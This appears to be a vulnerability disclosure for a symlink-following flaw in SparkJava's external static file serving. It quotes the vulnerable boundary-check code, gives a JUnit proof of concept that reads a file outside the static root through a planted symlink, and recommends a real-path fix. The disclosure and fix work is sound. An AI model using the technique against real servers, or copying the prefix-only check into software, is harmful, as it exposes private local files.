SparkJava External Static Files Symlink Escape Allows Local File Read Outside Static Root
SparkJava External Static Files Symlink Escape Allows Local File Read Outside Static Root
Summary
SparkJava's external static file handler enforces its static-root boundary with a string-prefix check on the requested path, but it does not resolve the final real path before opening the file. If a symbolic link exists inside the configured external static directory and points to a file outside that directory, SparkJava follows the link and serves the target file.
This was confirmed locally against current master (2.9.4-SNAPSHOT, commit 1973e40). The same relevant implementation pattern is present in the latest released tag 2.9.3.
Product
- Project: SparkJava / Spark Framework
- Repository:
https://github.com/perwendel/spark - Package:
com.sparkjava:spark-core - Component: external static file handling
- Confirmed affected versions:
2.9.4-SNAPSHOTon currentmaster,2.9.3 - Vulnerability type: CWE-22 Path Traversal / Symlink Following / Arbitrary Local File Read
Impact
An attacker who can create or influence a symbolic link inside a directory served through staticFiles.externalLocation(...) can make SparkJava disclose arbitrary local files readable by the Java process. Typical exposure patterns include applications that serve user-controlled extracted archives, build artifacts, generated documentation, or upload directories as external static files.
This is not a claim that every SparkJava static deployment is remotely exploitable. Exploitation requires an attacker-controlled symlink or equivalent filesystem state under the configured external static root.
Source Evidence
ExternalResourceHandler canonicalizes the HTTP path and joins it with the configured external static root:
src/main/java/spark/resource/ExternalResourceHandler.java:66src/main/java/spark/resource/ExternalResourceHandler.java:68src/main/java/spark/resource/ExternalResourceHandler.java:70
path = UriPath.canonical(path);
final String addedPath = addPaths(baseResource, path);
ExternalResource resource = new ExternalResource(addedPath);Before returning the resource, it invokes the directory traversal guard:
src/main/java/spark/resource/ExternalResourceHandler.java:81src/main/java/spark/resource/ExternalResourceHandler.java:82
if (resource != null && resource.exists()) {
DirectoryTraversal.protectAgainstForExternal(resource.getPath(), baseResource);
return resource;
}The guard only compares normalized strings and does not call toRealPath(), getCanonicalFile(), or reject symbolic links:
src/main/java/spark/staticfiles/DirectoryTraversal.java:18src/main/java/spark/staticfiles/DirectoryTraversal.java:26src/main/java/spark/staticfiles/DirectoryTraversal.java:30src/main/java/spark/staticfiles/DirectoryTraversal.java:33
public static void protectAgainstForExternal(String path, String externalFolder) {
String unixLikeFolder = unixifyPath(externalFolder);
String nixLikePath = unixifyPath(path);
if (!isPathWithinFolder(nixLikePath, unixLikeFolder)) {
throw new DirectoryTraversalDetection("external");
}
}
private static String unixifyPath(String path) {
return Paths.get(path).toAbsolutePath().toString().replace("\\", "/");
}
private static boolean isPathWithinFolder(String path, String folder) {
String rlatsPath = removeLeadingAndTrailingSlashesFrom(path);
String rlatsFolder = removeLeadingAndTrailingSlashesFrom(folder);
return rlatsPath.startsWith(rlatsFolder);
}ExternalResource then opens the file path with FileInputStream, which follows symbolic links on normal filesystems:
src/main/java/spark/resource/ExternalResource.java:39src/main/java/spark/resource/ExternalResource.java:66
file = new File(StringUtils.cleanPath(path));
public InputStream getInputStream() throws IOException {
return new FileInputStream(file);
}Local Reproduction
The following JUnit PoC was added locally:
C:\Users\Admin\Desktop\submit-p\_foreign_cve_repos\spark\src\test\java\spark\staticfiles\StaticFilesSymlinkEscapeTest.java
package spark.staticfiles;
import org.junit.Assume;
import org.junit.Test;
import spark.resource.AbstractFileResolvingResource;
import spark.resource.ExternalResourceHandler;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
public class StaticFilesSymlinkEscapeTest {
@Test
public void externalStaticFilesFollowSymlinkOutsideRoot() throws Exception {
Path root = Files.createTempDirectory("spark-static-root");
Path outside = Files.createTempDirectory("spark-static-outside");
Path secret = Files.write(outside.resolve("secret.txt"), "spark-symlink-escape".getBytes(StandardCharsets.UTF_8));
Path link = root.resolve("link.txt");
try {
Files.createSymbolicLink(link, secret);
} catch (UnsupportedOperationException | SecurityException e) {
Assume.assumeNoException(e);
}
TestExternalResourceHandler handler = new TestExternalResourceHandler(root.toString());
AbstractFileResolvingResource resource = handler.resolve("/link.txt");
assertNotNull(resource);
assertTrue(resource.isReadable());
assertTrue(new String(resource.getInputStream().readAllBytes(), StandardCharsets.UTF_8)
.contains("spark-symlink-escape"));
}
private static class TestExternalResourceHandler extends ExternalResourceHandler {
private TestExternalResourceHandler(String baseResource) {
super(baseResource);
}
private AbstractFileResolvingResource resolve(String path) throws Exception {
return getResource(path);
}
}
}Run:
cd C:\Users\Admin\Desktop\submit-p\_foreign_cve_repos\spark
mvn -q "-Dtest=spark.staticfiles.StaticFilesSymlinkEscapeTest" "-Denforcer.skip=true" testObserved result:
Tests run successfullyThe test creates:
- an external static root directory;
- a separate outside directory containing
secret.txt; - a symbolic link inside the static root named
link.txtpointing tosecret.txt; - a request-equivalent lookup of
/link.txt.
SparkJava returns a readable resource and the file contents contain spark-symlink-escape, proving that the static-root boundary is bypassed through the symlink.
Duplicate Check
Searches performed on 2026-06-17 did not identify an existing public issue, CVE, or GHSA for this specific SparkJava symlink-following escape:
Spark Java static files symlink path traversal CVEsparkjava ExternalResourceHandler symlink traversalsparkjava static files symlink arbitrary file readsite:github.com/perwendel/spark symlink static files traversal
Related but distinct prior issues:
- 2016 Full Disclosure report for classic
..\static-file traversal in SparkJava. CVE-2018-9159/GHSA-76qr-mmh8-cp8f, which concerns unintended static-file reads via path traversal andfile:/relative path representations before the2.7.2fix.
The current finding differs because normal dot-dot traversal is blocked, while symlink resolution remains outside the string-based boundary check in current code.
Recommended Fix
Resolve and validate the real path of both the configured static root and requested resource before serving:
Path root = Paths.get(baseResource).toRealPath();
Path candidate = Paths.get(resource.getPath()).toRealPath();
if (!candidate.startsWith(root)) {
throw new DirectoryTraversalDetection("external");
}If following symlinks is not desired, reject Files.isSymbolicLink(...) for every path component or use a secure path-walk that validates each segment. Add regression tests where a symlink under the static root points to a readable file outside the root.
Notes
This report only covers staticFiles.externalLocation(...) style filesystem static serving. It does not claim a bypass of SparkJava's current ../, ..\, or file: traversal fixes.
Source: perwendel/spark